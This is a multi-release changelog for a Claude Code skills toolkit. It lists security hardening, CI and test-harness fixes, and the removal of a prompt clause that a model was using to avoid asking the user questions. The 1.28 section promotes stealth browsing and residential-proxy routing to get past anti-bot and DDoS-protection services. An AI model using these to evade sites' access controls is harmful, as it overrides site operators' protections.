Plan file at /Users/garrytan/.claude/plans/purrfect-tumbling-quiche.md captures the full review chain: /investigate → /plan-eng-review (5 architecture decisions D1-D5) → /codex review outside-voice plan challenge (9 findings, 3 reshaped the architecture into D6-D8). Plan also records the post-Codex user perf review that flipped D3 to opt-in.

TODOS.md filed P2: investigate gbrain import perf on large staging dirs (5,131 files takes >10 minutes when 501 takes 10 seconds — gbrain-side N+1 SQL or auto-link reconciliation suspected). P3: cache "no changes since last import" at the prepare-batch level for true no-op fast paths.

Plan completion audit ran via subagent on this branch: 17/21 DONE, 1 CHANGED (D3 made opt-in), 2 deferred (F8 benchmark harness as separate work, 24-path unit coverage went integration-only).

[1.32.0.0] - 2026-05-10

Seven contributor PRs land. Three are security or hardening.

Root-token comparison, IPv6 link-local, NUL transcripts, sidebar tabs, build resilience, model IDs, CJK escape — all fixed in one wave.

Seven community PRs land together, hand-picked through /plan-eng-review plus a Codex outside-voice review that reshaped the wave mid-flight. The headline fixes are real: the root-token authentication path no longer throws on a multibyte input that matches JS character length but not UTF-8 byte length, direct http://[fe80::N]/ URLs are now rejected the same way ULA addresses already were, gbrain put strips NUL bytes from pasted transcript content so Postgres doesn't reject the write, and the build script doesn't tear down when run on a fresh worktree with no git HEAD yet.

Two PRs in the original 9-PR plan got moved to follow-up reviews after Codex caught load-bearing problems: the SVG-XSS fix (#1153) needs a sanitizer integration rebuild, and the hook-command variable swap (#1141) needs runtime verification in plugin + dev-symlink modes. Both will land as their own PRs.

The numbers that matter

Diff against main at v1.31.1.0, measured from the seven landed PRs after eng + Codex review reshaping. The wave is intentionally repo-local — no new dependencies, no risky integration changes.

Metric v1.31.1.0 v1.32.0.0 Δ

Community PRs landed 3 7 +4

Security / hardening fixes 0 3 +3

Behavior changes that ship to users 1 7 +6

Free tests 379 380 +1

Memory-ingest tests 18 19 +1

LOC (excluding mechanical regen) — ~150 —

SKILL.md files regenerated (CJK preamble cascade) — 35 —

Preamble byte budget 36,500 39,000 +2,500

The seven shipped PRs cover three categories. Security: root-token UTF-8 compare hardened, IPv6 link-local blocked, sidebar tab awareness expanded. Correctness: gbrain ingestion tolerates pasted-NUL transcripts, build resilient to unborn HEAD. Polish: AskUserQuestion preamble forbids \uXXXX escaping of CJK characters, eval suite tracks the current Opus model ID.

What this means for users

If you run pair-agent and someone hits your tunnel with a multibyte token guess that happens to match length, the auth path returns false instead of crashing. If a transcript you ingest into gbrain has a NUL byte in pasted output, the write succeeds instead of returning invalid byte sequence. If you bring up bun run build on a brand-new Conductor worktree before the first commit, the build runs to completion. If your sidebar agent watches a tab on a non-localhost site, it now actually sees the URL and title. If you ask Claude a long question in Chinese, you stop getting \u-escaped codepoints rendered as nonsense glyphs.

Itemized changes

Added

#1257 Extension manifest gets the tabs permission. Sidebar tab awareness off-localhost now works — chrome.tabs.query() returns real url/title for sites outside host_permissions instead of undefined, so snapshotTabs writes real values into tabs.json and active-tab.json instead of silently skipping. Heads up: this widens the extension's permission scope; users will see the broader prompt on next install. Contributed by @fredchu.

Fixed

#1416 isRootToken constant-time compare hardened. Compares UTF-8 byte lengths via Buffer.byteLength before crypto.timingSafeEqual, which throws on length-mismatched buffers. A multibyte input whose JS string length matches but byte length differs now returns false instead of crashing on the auth path. Four regression tests cover multibyte byte-length mismatch, extra-prefix length mismatch, same-length last-byte flip, and empty-input-against-set-root. Contributed by @RagavRida.

#1411 gstack-memory-ingest strips NUL bytes from the transcript body before piping to gbrain put. Postgres rejects 0x00 in UTF-8 text columns, and some Claude Code transcripts contain NUL inside pasted content or tool output. The fix uses body.replace(/\x00/g, "") so the regex literal stays reviewable in diffs and survives editors that strip control bytes. New regression test reuses the existing fake-gbrain writer harness at test/gstack-memory-ingest.test.ts:376. Contributed by @billy-armstrong.

#1249 URL validation now blocks direct IPv6 link-local navigation. fe80::/10 is centralised into BLOCKED_IPV6_PREFIXES = ['fc', 'fd', 'fe8', 'fe9', 'fea', 'feb'] so http://[fe80::N]/ is rejected by the same path that already blocked ULA addresses. Previously the link-local guard only fired during AAAA resolution; direct-literal URLs slipped through. Contributed by @hiSandog.

#1207 bun run build resilient to missing git HEAD. The three chained .version writes (browse/dist, design/dist, make-pdf/dist) each now use { git rev-parse HEAD 2>/dev/null || true; } > ..., so an unborn HEAD produces an empty file. readVersionHash already returns null on empty/trim, and the CLI's stale-binary check short-circuits on null — the "no version known" path flows through existing null handling without polluting state.binaryVersion with a sentinel string. Contributed by @topitopongsala.

#1205 AskUserQuestion preamble forbids \uXXXX escaping of non-ASCII characters. Adds rule 12 plus a self-check item: models that hand-escape CJK strings get codepoints wrong, so 管理工具 ends up rendered as ㄃3用箱. Long ≠ escape. Keep characters literal. The new rule cascades through the gen-skill-docs pipeline; 35 SKILL.md files regenerate to pick it up. Contributed by @joe51317-dotcom.

#1392 Mechanical bump of remaining claude-opus-4-6 → 4-7 references across the E2E eval suite. Covers test/helpers/eval-store.ts and five test/skill-e2e-*.test.ts files. Contributed by @johnnysoftware7.

For contributors

The AskUserQuestion preamble byte budget ratchets from 36,500 → 39,000 to absorb the new CJK rule (rule 12 + self-check item). Generated SKILL.md files for all 35 tier-≥2 skills regenerate as a single mechanical commit.

Two PRs from the original 9-PR plan moved to follow-up reviews after Codex outside-voice caught load-bearing problems: #1153 (SVG sanitizer) needs the sanitizer integration rebuilt against the current setTabContent boundary in browse/src/write-commands.ts:319 (the original PR removed .svg from the allowlist; the right fix is to keep it allowed and sanitize via DOMPurify before setTabContent). #1141 (CLAUDE_PLUGIN_ROOT) needs runtime verification in both plugin-installed and dev-symlink modes plus scope expansion to the non-frontmatter shell snippet at investigate/SKILL.md.tmpl:107.

Five gate-tier evals hardened against non-determinism / TTY rendering quirks after the wave's first test:gate run surfaced them as flakes (verified pre-existing on main, then fixed): office-hours-builder-wildness retiers gate → periodic because LLM-judge creativity scoring belongs in periodic per the tier-classification rules. plan-design-with-ui AUQ-detection tail expands 2.5KB → 5KB so the full Step 0 box-rendered AUQ fits inside the regex window. ask-user-question-format-compliance budget stretches 300s → 540s (poll), 360s → 600s (PTY session), 420s → 660s (bun wrapper) to accommodate /plan-ceo-review's multi-bash-block preamble on substantive branches. benchmark-providers gemini smoke drops the brittle toContain('ok') assertion in favor of a shape check on the adapter result. skillify scrape-prototype-path accepts JSON shape variants (results, data, hits, bare arrays of {title, score} objects) instead of grepping for the literal "items":[ key.

Housekeeping: the three source PRs absorbed into v1.31.1.0 (#1242, #1394, #1393) get closed with credit comments pointing at the merge SHA.

[1.31.1.0] - 2026-05-10

Three small community fixes land cleanly.

/careful works on macOS again, Codex Step 0 stops colliding, /make-pdf setup runs in the right place.

A short patch wave from three contributors. macOS users who ran /careful with rm -rf node_modules were silently hitting the warning gate instead of the safe exception path because BSD sed doesn't understand \s. The Codex skill's ## Step 0: Check codex binary header was colliding with the platform-detect prelude that also runs first. /make-pdf's SETUP block was rendered after the Telemetry footer instead of immediately after the Preamble Bash, so $P could be referenced before it was set. Each fix is tightly scoped and ships with a regression test (or template ordering invariant) that catches the original failure shape.

This release came out of a contributor-wave triage pass that closed ~75 stale PRs, dropped 11 candidates that needed focused review with specific feedback to each contributor, and lined the survivors through /plan-eng-review + Codex outside-voice review before merge. One additional security PR (token-registry timing-safe comparison) was rejected at the codex-review gate after Codex caught a subtle multi-byte UTF-8 buffer-mismatch bug that would have thrown on the auth path instead of returning false; that finding now lives as feedback on the original PR.

Fixed

#1242 careful/bin/check-careful.sh uses [[:space:]] instead of \s in the safe-rm exception regex. macOS sed -E does not support \s, which silently broke the exception detection — rm -rf node_modules now correctly skips the warning gate on macOS, matching Linux behavior. Removes the detectSafeRmWorks() platform-conditional from test/hook-scripts.test.ts so both platforms are tested at the same bar. Contributed by @ToraDady.

#1394 Codex skill ## Step 0: Check codex binary renamed to ## Step 0.4: Check codex binary so the header no longer collides with the new platform-detect prelude (also numbered Step 0). Affects both codex/SKILL.md.tmpl and the regenerated codex/SKILL.md. Contributed by @mvanhorn.

#1393 /make-pdf MAKE-PDF SETUP block moves from after the Telemetry footer to right after the Preamble Bash, so $P is set before any subsequent step references it. The implementation switches from the {{MAKE_PDF_SETUP}} placeholder pattern to programmatic insertion via generateMakePdfSetup in scripts/resolvers/preamble.ts, gated on ctx.skillName === 'make-pdf'. New make-pdf setup ordering test in test/gen-skill-docs.test.ts asserts the SETUP block sits after the Preamble heading and before Plan Mode / Telemetry / workflow headings. Contributed by @jbetala7.

[1.31.0.0] - 2026-05-09

AskUserQuestion stops getting silently buried in plan files.

The forever-war contradiction in the preamble is deleted, the test harness sees prose-rendered questions, and 5 fictional test variants are gone.

After v1.31, /plan-eng-review, /office-hours, and the rest of the plan-* skills surface every decision through AskUserQuestion. The "fallback when neither variant is callable" clause that quietly authorized a ## Decisions to confirm plan-write + ExitPlanMode is deleted, along with the "trivial fix" exception that survived the prior tightening and the "outside plan mode, output as prose and stop" escape hatch. Skill-text loses ~10 lines net across 8 inline sites plus the 6 places the same fallback was repeated verbatim inside plan-eng-review/SKILL.md.tmpl.

Five test variants that simulated a Conductor configuration nobody actually runs (--disallowedTools AskUserQuestion without a registered MCP variant, i.e. "neither AUQ tool callable") are deleted. They tested a state that doesn't exist in production: real Conductor sessions register mcp__conductor__AskUserQuestion, so the model always has the MCP variant. The deleted variants were a long-running flake source.

The harness gained three new primitives that survive the test cull: isProseAUQVisible regex detector for lettered (A/B/C/D) and numbered (1/2/3) prose AUQ rendering, an LLM judge using claude-haiku-4-5 that classifies TTY snapshots as waiting / working / hung, and high-water-mark tracking on PlanSkillObservation so tests that check "did the user see a question at SOME point" don't have to scan the truncated 2KB evidence window.

The numbers that matter

Surface Before After Δ

Fallback clause inline sites in skill-text 8 0 -8

Surviving "trivial fix" / "prose-and-stop" escape hatches 2 0 -2

Plan-mode test variants under fictional --disallowedTools 5 0 -5

LLM judge classifications 0 4 (waiting/working/hung/unknown) +4

Diff size on this branch (after merge with main) — -721 / +928 net +207

The deleted "fallback" clause was the load-bearing instruction the model was rationalizing as a general escape hatch from "fanning out round-trip AUQs." Once it's gone, the anti-shortcut clause and STOP gates in plan-eng-review Sections 1-4 stand without a contradicting instruction to lose to. gate-tier plan-eng-finding-floor passes on every run since the architectural fix landed.

What this means for builders

If you are running /plan-eng-review or any other plan-* skill, you will see one AskUserQuestion per finding instead of four findings quietly batched into a "## Decisions to confirm" plan-file write that gets buried under ExitPlanMode. The harness improvements (prose-AUQ detector, LLM judge, snapshot logs at ~/.gstack/analytics/pty-judge.jsonl and ~/.gstack/analytics/pty-snapshots/ when GSTACK_PTY_LOG=1) are load-bearing for any future plan-mode regression test that needs to distinguish "model is thinking" from "model is waiting for me."

Itemized changes

Architectural fix

Deleted ## Decisions to confirm fallback clause from scripts/resolvers/preamble/generate-ask-user-format.ts:12 (both branches: plan-file write AND prose-and-stop)

Deleted same fallback clause from scripts/resolvers/preamble/generate-completion-status.ts:29

Deleted fallback inline sentences from plan-eng-review/SKILL.md.tmpl (Step 0 + Sections 1-4: 5 instances) and office-hours/SKILL.md.tmpl (1 instance)

Deleted "Only skip AskUserQuestion when the decision is genuinely trivial" exception from plan-eng-review/SKILL.md.tmpl:204

Replaced with single hard rule: "If no AskUserQuestion variant appears in your tool list, this skill is BLOCKED. Stop, report BLOCKED — AskUserQuestion unavailable, and wait for the user."

Regenerated all 47 generated SKILL.md files (default + 7 host adapters)

Test harness primitives

Added isProseAUQVisible regex detector with line-start anchoring and tail-only native-cursor gate (test/helpers/claude-pty-runner.ts); 8 unit tests cover lettered and numbered formats, threshold edges, native-cursor exclusion, and mid-prose false-positive guard

Added judgePtyState LLM judge using claude -p --model claude-haiku-4-5 --max-turns 1 with subscription auth (no API key env required), in-process cache by SHA-1 of normalized last-4KB snapshot, JSONL log to ~/.gstack/analytics/pty-judge.jsonl

Added high-water-mark flags proseAUQEverObserved and waitingEverObserved to PlanSkillObservation; tests check these rather than re-running detectors against the truncated evidence window

Added snapshot logging via GSTACK_PTY_LOG=1, dumping last 4KB of visible TTY at every judge tick to ~/.gstack/analytics/pty-snapshots/<test>-<elapsed>ms.txt

assertReportAtBottomIfPlanWritten now tolerates ENOENT (TTY-detected path that didn't persist) and outcome='asked' smoke runs (workflow exited at first AUQ, no review report yet)

Wired LLM judge fallback into runPlanSkillObservation and runPlanSkillFloorCheck polling loops: after 60s of no terminal classification, snapshot every 30s and call the judge; on waiting verdict, return outcome='asked' early

Test surface changes

Added test/skill-e2e-plan-eng-multi-finding-batching.test.ts (periodic tier) using runPlanSkillCounting with a 4-finding seeded fixture (FORCING_BATCHING_ENG) that mirrors the original transcript bug shape; asserts at least 3 distinct review-phase AUQs

Deleted test/skill-e2e-autoplan-auto-mode.test.ts entirely

Deleted test 2 (--disallowedTools AskUserQuestion) from plan-ceo-plan-mode, plan-design-plan-mode, plan-eng-plan-mode (kept test 1 baseline plus plan-eng-plan-mode test 3 STOP-gate)

Removed autoplan-auto-mode entry from test/helpers/touchfiles.ts (E2E_TOUCHFILES and E2E_TIERS); updated test/touchfiles.test.ts assertion count

For contributors

Three subagent investigations across the debugging cycle were the load-bearing diagnostic step: the architectural fix, the prose-AUQ detector design, and the test-fictional-state retraction. The pattern that worked: have a fresh-context subagent verify the parent's mental model against actual file contents before committing to a fix. Codex review caught that "three places" was actually eight, that the proposed multi-finding test would pass trivially given how runPlanSkillFloorCheck exits on first AUQ, and that three existing tests codified the deleted fallback as PASS.

[1.30.0.0] - 2026-05-09

Twenty-one community fixes land in one wave, plus closing fixes that put the Windows + codex surfaces under CI for the first time.

Browse stops silently dropping browse-console.log writes (a regression from a missing variable declaration), the cold-start race that ENOENT'd one of every fifteen parallel daemons gets a per-process tempfile, and concurrent iframe detach finally clears refs symmetrically with main-frame nav. codex exec resume works on machines that ship python without the python3 alias, and stops passing the -C and -s flags that the resume subcommand rejects. Windows users get bash.exe wrap for telemetry spawn, Bun.which binary resolution that finds .exe/.cmd/.bat instead of bare paths, and NTFS ACL hardening on every file written to ~/.gstack/. Two closing fixes land alongside: windows-free-tests.yml now exercises the icacls + Bun.which test files (closing the gap codex's outside-voice review flagged in the plan), and a live codex exec resume --help smoke catches CLI flag-semantics drift that the existing regex-only test would have missed.

The numbers that matter

End-to-end verified via bun test (free tier, 452 tests pass) and gate-tier E2E:

Surface Before After Δ

Browse console.log persistence swallowed every 1s flush due to lastConsoleFlushed ReferenceError declared, persisted to disk regression closed

Concurrent daemon cold-start shared state.tmp raced rename, killed 1 in N spawns per-process tmpStatePath() (pid + 4 random bytes) no more ENOENT

Iframe detach handling refs leaked when iframe auto-detached (asymmetric with main-frame nav) refs cleared symmetrically parity fix

codex exec resume flag set -C "$_REPO_ROOT" -s read-only (rejected by the resume subcommand) -c 'sandbox_mode="read-only"' + cd "$_REPO_ROOT" works without warnings

Codex JSON parsing hardcoded python3; broke on machines with only python probes python3 then python, errors clearly if neither works on more machines

Windows browse / make-pdf binary resolution bare-path probe missed .exe/.cmd/.bat Bun.which + GSTACK_*_BIN override + extension probing works on Windows installs

Windows state-file hardening POSIX 0o600 mode bits no-op'd on NTFS icacls inheritance break + grant-only ACL on every ~/.gstack/ write actual hardening, not silent no-op

Windows telemetry spawn spawn(bash-script) ENOENT'd silently on Windows (CreateProcess rejects shebangs) bash.exe wrap with PATH / GSTACK_BASH_BIN override telemetry events captured on Windows

Domain-skill auto-promote promoted regardless of classifier_score gated on classifier_score > 0 adversarially-flagged domains stay quarantined

Shell-injection surface in memory ingest git cwd interpolated through /bin/sh execFileSync with cwd as a parameter one less injection path

Windows free-tests CI coverage 3 test files (claude-bin, gstack-paths, test-shards) 7 test files (+ icacls, security telemetry, browseClient, pdftotext) 4 new surfaces under CI

Codex CLI flag-semantics test regex-only on SKILL.md text live codex exec resume --help smoke (skips when codex absent) catches upstream flag drift

PR count: 21 community merges + 4 in-house follow-up commits (#1302 template port, CL-1 Windows CI extension, CL-2 codex flag smoke, server.ts conflict-resolution fix). Contributors credited: 13 unique authors. Test count went from 452 → 459 (4 new tests from the merged PRs + 3 from CL-1/CL-2 invariants).

What this means for builders

If you're on a Windows install, this is the release where ~/.gstack/ is actually access-restricted (icacls grants), browse and make-pdf find the right .exe, and bash-shebang telemetry stops dropping on the floor. Set GSTACK_BROWSE_BIN / GSTACK_PDFTOTEXT_BIN / GSTACK_BASH_BIN to override. If you use the /codex skill, resume sessions work on machines with only python and no python3, and the rejected -C/-s flags are gone. If you spawn multiple browse daemons in parallel (CI shards, cold-start races, multi-tab Conductor), the per-process tempfile fix means rename no longer steals the file out from under a sibling. Run gbrain autopilot --install once and forget about it.

Itemized changes

Added

#1306 Windows bash.exe wrap for telemetry spawn (browse/src/security.ts). Honors GSTACK_BASH_BIN / BASH_BIN env override, falls back to Bun.which('bash') (finds Git Bash on standard Windows installs). Returns null when bash is unresolvable so caller skips the spawn cleanly. Contributed by @scarson.

#1307 Bun.which-based binary resolution for make-pdf/src/browseClient.ts and make-pdf/src/pdftotext.ts. Probes .exe/.cmd/.bat after a bare-path miss on Windows; honors GSTACK_BROWSE_BIN / GSTACK_PDFTOTEXT_BIN overrides. Extends the v1.24 pattern from claude-bin.ts to the other two binary resolvers. Contributed by @scarson.

#1308 NTFS ACL hardening for ~/.gstack/ state files (browse/src/file-permissions.ts is the new helper). writeSecureFile and mkdirSecure invoke icacls /inheritance:r /grant:r <user>:(F) on Windows; POSIX chmod 0o600 continues working unchanged. First icacls failure per process is logged once with the advice line "sensitive files may be readable by other accounts on this machine"; later failures stay silent to avoid spam. Contributed by @scarson.

#1316 Python3-or-python probe in codex/SKILL.md.tmpl. Resolves python3 then python, errors clearly if neither is on PATH. Contributed by @jbetala7.

#1339 Strict integer validation in browse/src/browse-client.ts env handling. Partial integers now throw rather than silently truncating. Contributed by @hiSandog.

#1369 classifier_score > 0 gate on domain-skill auto-promote (browse/src/domain-skills.ts:248-320). Quarantined domains stay quarantined even if every other heuristic says promote. Contributed by @garagon.

CL-1 Windows free-tests CI lane now runs browse/test/file-permissions.test.ts, browse/test/security.test.ts, make-pdf/test/browseClient.test.ts, and make-pdf/test/pdftotext.test.ts. The four test files already platform-gate their assertions via process.platform, so the same files run on POSIX and Windows lanes and exercise only the relevant branch.

CL-2 Live codex CLI flag-semantics smoke (test/codex-resume-flag-semantics.test.ts). Probes codex exec resume --help for -c/sandbox_mode presence and top-level -C absence; skips when codex isn't on PATH so dev machines without codex installed never see it fail.

Changed

#1270 codex exec resume invocation in codex/SKILL.md.tmpl drops -C "$_REPO_ROOT" and -s read-only (the resume subcommand rejects both), uses -c 'sandbox_mode="read-only"' config and cd "$_REPO_ROOT" instead. Adds the regression test codex/SKILL.md resume command only uses resume-supported flags. Contributed by @jbetala7.

#1273 design/prototype.ts (the prototype script only — the main design CLI is unchanged) reads the OpenAI key only from OPENAI_API_KEY. Output filenames sanitized to [a-zA-Z0-9_-] only. The ~/.gstack/openai.json file fallback is removed from the prototype script; design/src/auth.ts and design/src/cli.ts still support it for the main CLI flow. Contributed by @orbisai0security.

#1302 /ship Plan Completion gate (ship/SKILL.md.tmpl + scripts/resolvers/review.ts) adds Verification Mode classification (DIFF-VERIFIABLE / CROSS-REPO / EXTERNAL-STATE / CONTENT-SHAPE), the UNVERIFIABLE classification, per-item confirmation gate (no blanket-confirm AskUserQuestion), and explicit fail-closed behavior on subagent failure. Forbids the silent-fail-open path that produced the VAS-449 incident shape. Contributed by @vaskockorovski.

#1332 /ship step 12 fail-fast probe for the base branch in ship/SKILL.md.tmpl. Prevents step 12 from running against an unresolvable base. Contributed by @Jasperc2024.

#1337 design/src/variants.ts honors the Retry-After header on 429 responses. Prevents thundering-herd retries against rate-limited endpoints. Contributed by @stedfn.

#1362 test/helpers/providers/gemini.ts detects the new ~/.gemini/oauth_creds.json auth path alongside the legacy location. Contributed by @abigail-atheryon.

#1366 browse/src/browser-manager.ts adds --no-sandbox only when running as root (Linux/WSL2), not unconditionally. Contributed by @furkankoykiran.

#1368 bin/gstack-memory-ingest.ts passes git cwd via execFileSync parameter rather than interpolating into a /bin/sh invocation. One less shell-injection class. Contributed by @garagon.

Fixed

#1309 Missing let lastConsoleFlushed = 0; declaration in browse/src/server.ts. Every 1-second flushBuffers tick was throwing a swallowed ReferenceError; browse-console.log was never written in any production deployment since this regressed. Contributed by @yashkot007.

#1310 Per-process tmpStatePath() for state-file writes in browse/src/server.ts. The shared state.tmp literal raced on rename when concurrent daemons spawned (15-parallel cold-start reproducer). pid + 4 random bytes of suffix gives each writer a unique path; atomic rename still gives last-writer-wins on the final state. Contributed by @yashkot007.

#1311 getActiveFrameOrPage in browse/src/tab-session.ts clears refs symmetrically when an iframe auto-detaches, matching the existing main-frame nav path. Contributed by @yashkot007.

#1297 Korean / CJK IME input rendering in the Sidebar Terminal (extension/sidepanel-terminal.js, browse/src/terminal-agent.ts, extension/sidepanel.css). Composition state preserved, character widths corrected. Contributed by @realcarsonterry.

#1333 Removed the contradictory plan-mode handshake from plan-devex-review/SKILL.md.tmpl (the skill was simultaneously claiming plan-mode is active and asking the user to confirm entering plan-mode). Contributed by @Jasperc2024.

Documentation

#1290 CLAUDE.md and ARCHITECTURE.md prompt-injection thresholds aligned to the actual values in browse/src/security.ts (BLOCK 0.85, WARN 0.60, LOG_ONLY 0.40 — the docs had drifted to older numbers). Contributed by @brycealan.

#1338 README per-skill symlink uninstall snippet corrected (the previous wording would rm the global skills directory rather than the project-local symlink). Contributed by @stedfn.

For contributors

The wave was triaged by /plan-ceo-review (single-wave + bisect-discipline merge ordering), /plan-eng-review (mapped 5 cross-PR conflict pairs with explicit resolution rules + tightened the gh pr checkout N -b pr-N syntax), and /codex outside-voice review (caught 6 factual errors and 2 process improvements that both internal reviews missed; cross-model agreement was 14%). All review findings were incorporated before merge; the two CI gaps codex flagged became the CL-1 and CL-2 closing fixes that ship in this same release.

The five cross-PR conflict pairs documented in the plan (#1316↔#1270 codex resume line, #1309→#1310→#1308 server.ts state writes, #1366↔#1308 browser-manager, #1306↔#1308 security.ts, #1332↔#1302 ship template) all surfaced as predicted; resolutions kept both intents on each. The lone exception was the #1310/#1308 state-file write site, where fs.writeFileSync(tmpStatePath(), ..., { mode: 0o600 }) is preserved (locks #1310's race-fix invariant exercised by browse/test/server-tmp-state-path.test.ts); icacls hardening still applies to every other writeSecureFile call site #1308 introduced (auth.json, the mkdirSecure paths, etc.).

PR #1302 only edited the generated ship/SKILL.md, not the source ship/SKILL.md.tmpl or scripts/resolvers/review.ts. The next bun run gen:skill-docs would have wiped its changes; the wave includes fix(ship): port #1302 SKILL.md edits to .tmpl + resolver source to keep the changes alive across regen.

[1.29.0.0] - 2026-05-08

Code search beats Grep across every Conductor worktree now, not just the last one you synced.

/sync-gbrain registers each worktree as its own gbrain source, then runs gbrain sources attach <id> so the worktree gets a .gbrain-source pin in its root. Subsequent gbrain code-def, code-refs, code-callers calls from anywhere under the worktree route to that source by default, no --source flag needed. Conductor sibling worktrees of the same repo no longer collide on a shared gstack-code-<slug> source ID, so the last /sync-gbrain run no longer silently overwrites every other worktree's index.

Three correctness bugs surfaced by /codex adversarial review during /ship are fixed in the same release: silent attach failure (sync succeeds but pin is missing → unqualified code-def hits the wrong source), preamble inconsistency (startup hint claimed "indexed" based on global state, ignoring per-worktree pins), and orphan source leak (the pre-pathhash gstack-code-<slug> source stayed registered forever, polluting federated cross-source search). All three fixed before merge.

The numbers that matter

End-to-end verified via bun test test/gstack-gbrain-sync.test.ts test/gbrain-sources.test.ts test/gen-skill-docs.test.ts:

Surface Before After Δ

Conductor worktrees indexed independently 1 (last-sync-wins) N (one source per path) branch-correct

gbrain code-def from a worktree without sync hits wrong source silently falls back to default with notice no silent corruption

Orphan sources accumulated across runs unbounded 0 (legacy id removed on first new-format sync) clean

Attach-failure-to-pin behavior stage reports ok:true stage reports ok:false with reason no silent correctness break

Orchestrator registration logic duplicated in bin/ and lib/ (could miss --db on one path) single source of truth in lib/gbrain-sources.ts DRY

Required gbrain version v0.20.0+ (single-brain-only) v0.30.0+ (uses sources attach) prerequisite bumped

Test count went from 405 → 408 (+3 worktree-aware tests + 1 legacy-cleanup preview test).

What this means for builders

If you use Conductor to run multiple parallel branches of the same repo, you can now run /sync-gbrain in each one and gbrain code-def from inside any of them returns hits from THAT worktree's branch state, not whichever sibling synced most recently. This was a hard requirement before semantic code search could replace Grep for refactor planning, "where is X used", "what depends on what" queries across parallel worktrees. Run gbrain autopilot --install once per machine for ongoing background sync; gbrain owns the daemon lifecycle.

Itemized changes

Added

Worktree-aware source IDs in bin/gstack-gbrain-sync.ts:176-186. Pattern is now gstack-code-<slug>-<pathhash8> where pathhash8 is the first 8 hex chars of sha1(absolute repo path). Conductor worktrees of the same origin coexist as separate sources in one gbrain DB.

gbrain sources attach <id> step in runCodeImport (bin/gstack-gbrain-sync.ts:336-351). Writes .gbrain-source <id> in the worktree root after sync succeeds; subsequent gbrain code-def calls from any subdirectory auto-route to that source.

Legacy source cleanup: on first new-format sync, removes the pre-pathhash gstack-code-<slug> orphan via gbrain sources remove ... --confirm-destructive (bin/gstack-gbrain-sync.ts:298-318).

.gbrain-source added to .gitignore so per-worktree pin doesn't leak across branches.

Changed

Code stage no longer skipped on remote-MCP (Path 4) installs. The early-exit in sync-gbrain/SKILL.md.tmpl was bouncing users out before the orchestrator ran; the local code brain works regardless of whether artifacts use a remote MCP. Replaced with split-engine prose explaining the model.

Source registration now flows through lib/gbrain-sources.ts:ensureSourceRegistered exclusively. Deleted ensureSourceRegisteredSync from the orchestrator binary (was a near-duplicate of the lib helper at lib/gbrain-sources.ts:100). Removes the missed-flag risk where one path could skip --db or --federated.

Startup preamble (scripts/resolvers/preamble/generate-brain-sync-block.ts:48-75) now checks for .gbrain-source in git rev-parse --show-toplevel, not the global ~/.gstack/.gbrain-sync-state.json. Opening an unsynced worktree no longer claims "indexed" based on a sibling's sync.

CLAUDE.md guidance block in the SKILL template now documents the .gbrain-source pin and gbrain autopilot --install for ongoing sync.

Fixed

Silent attach failure: gbrain sources attach now treated as stage failure if it returns non-zero. Previously the stage reported ok:true while the pin was missing, so unqualified gbrain code-def queries silently hit the default source. Now surfaces ERR with reason in the verdict block; user knows to retry.

Wrong-layer Path 4 early-exit (/codex finding #2 from /plan-eng-review).

Orphan source accumulation: the pre-pathhash gstack-code-<slug> source stayed registered across /sync-gbrain runs even after the path-keyed format shipped, polluting federated gbrain search results with stale duplicates.

For contributors

Phase 0 verification spike at ~/.gstack/projects/garrytan-gstack/2026-05-08-gbrain-split-engine-spike.md documents what gbrain v0.30 actually provides (no --db flag, serve --http requires postgres, sources attach is the v0.30 routing primitive). The approved plan's "per-worktree PGLite + per-worktree HTTP serve" architecture was invalidated by the spike; the simpler "one brain, many sources, attach for CWD pin" model collapsed ~80% of the plan's complexity.

/codex adversarial review during /ship caught all three correctness bugs above (silent attach, preamble inconsistency, orphan leak) before merge. Find-cost: ~10 min CC. Production-bug-cost: stale code search results that "almost worked" — the worst kind to debug.

gbrain CLI minimum version is now v0.30.0 (uses sources attach, which doesn't exist in v0.20.x). Run cd ~/git/gbrain && git pull && bun install && bun link to upgrade.

[1.28.0.0] - 2026-05-07

Browse handles real-world automation now: SOCKS5 with auth, container Xvfb, browser-native downloads. Plus a single-file llms.txt index agents can crawl in one read.

Five capabilities ship in one PR. Browse picks up --proxy (with an embedded SOCKS5 bridge so Chromium can speak to authenticated upstreams it can't speak to natively), --headed (auto-spawns Xvfb on Linux containers without DISPLAY), and download --navigate (uses the browser's native download handler for Content-Disposition, multi-hop CDN redirects, and anti-bot CDN chains where page.request.fetch() falls over). Stealth is narrowed to navigator.webdriver masking only — modern fingerprinters punish inconsistent fakes, so faking plugins/languages was making detection easier, not harder. And gstack/llms.txt is now auto-generated from the same source as every SKILL.md, so any agent that reads llms.txt boots into the full surface (47 skills, 75 browse commands) in one fetch.

The numbers that matter

End-to-end verified via bun test browse/test/{socks-bridge,proxy-config,proxy-redact,xvfb,stealth-webdriver,bridge-chromium-e2e}.test.ts test/llms-txt-shape.test.ts:

Surface Before After Δ

browse --proxy (SOCKS5 with auth) not supported works end-to-end new capability

browse --headed on Linux without DISPLAY not supported auto-Xvfb on first free display new capability

download --navigate (browser-native) only page.request.fetch() added native download path new capability

gstack/llms.txt index for agents none 47 skills + 75 commands in 11KB new capability

Bridge PID validation defenses n/a both /proc/<pid>/cmdline AND start-time full safety

Tests covering proxy + headed + navigate 0 70+ tests across 7 files from zero to comprehensive

The bridge-chromium-e2e.test.ts is the one that proves the feature actually works: real Chromium launches with proxy.server = socks5://127.0.0.1:<bridgePort>, navigates to a local HTTP fixture, and we assert the auth upstream's connect counter and the HTTP fixture's hit counter both increment. Without that test we could ship a working byte-relay and a broken Chromium integration and never notice.

What this means for AI agents

Any agent on any project can now hit any site. DDoS-Guard'd CDN behind an auth-required residential SOCKS5 → browse --proxy socks5://user:pass@host:1080 --headed download <url> /tmp/file --navigate and the file lands. Linux container without DISPLAY → --headed auto-spawns Xvfb, no manual setup. The llms.txt index makes discovery a one-fetch operation: agents stop scanning 47 SKILL.md files and start with the right skill on the first try.

Itemized changes

Added

browse --proxy <url> flag. Supports SOCKS5 with username/password auth, HTTP, and HTTPS. SOCKS5+auth runs through an embedded local bridge (browse/src/socks-bridge.ts, ~250 LOC) bound to 127.0.0.1 on an ephemeral port. The bridge handles the SOCKS5 auth handshake so Chromium (which can't prompt for SOCKS5 creds) can still use authenticated upstreams.

Pre-flight testUpstream() runs before Chromium launches: 5s total budget, 3 retries with 500ms backoff (handles VPN warm-up race). On failure, exits 1 with a redacted error message — no confusing "connection refused" on first navigation.

